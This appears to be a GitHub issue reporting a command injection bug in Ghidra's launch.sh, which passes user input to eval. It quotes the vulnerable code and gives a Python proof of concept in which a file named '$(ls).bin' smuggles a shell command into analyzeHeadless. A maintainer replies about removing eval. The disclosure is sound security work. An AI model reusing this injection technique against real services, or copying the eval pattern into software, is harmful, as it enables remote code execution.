Command injection in launch.sh

[attilaszia]

Describe the bug
/Ghidra/RuntimeScripts/Linux/support/launch.sh passes user provided input into eval. This results in straightforward command injection.

There are a couple of security SaaS's that use analyzeHeadless as part of a service, so this is a pretty surprising RCE on natural-looking invocations.

https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/RuntimeScripts/Linux/support/launch.sh#L192

if [ "${BACKGROUND}" = true ]; then
	eval "\"${JAVA_CMD}\" ${VMARG_LIST} -showversion -cp \"${CPATH}\" ghidra.Ghidra ${CLASSNAME} ${ARGS[@]}" &>/dev/null &
	
	# If our process dies immediately, output something so the user knows to run in debug mode.
	# Otherwise they'll never see any error output from background mode.
	# Doing a kill -0 sends a no-op signal, which can be used to see if the process is still alive.
	PID=$!
	sleep 1
	if ! kill -0 ${PID} &>/dev/null; then
		echo "Exited with error.  Run in foreground (fg) mode for more details."
		exit 1
	fi
	exit 0
else
	eval "(set -o noglob; \"${JAVA_CMD}\" ${VMARG_LIST} -showversion -cp \"${CPATH}\" ghidra.Ghidra ${CLASSNAME} ${ARGS[@]})"
	exit $?
fi

To Reproduce

import subprocess

with open('/bin/bash', 'rb') as f:
    data = f.read()

with open('./$(ls).bin', 'wb') as g:
    g.write(data)

command = ['analyzeHeadless','./','poc','-import','./$(ls).bin']
subprocess.call(command, shell=False)

[ryanmkurtz]

I think eval was introduced to handle spaces in the VMARGS variable. I'm currently exploring alternative implementations that don't use eval, but suggestions are welcome for that VMARGS/spaces issue.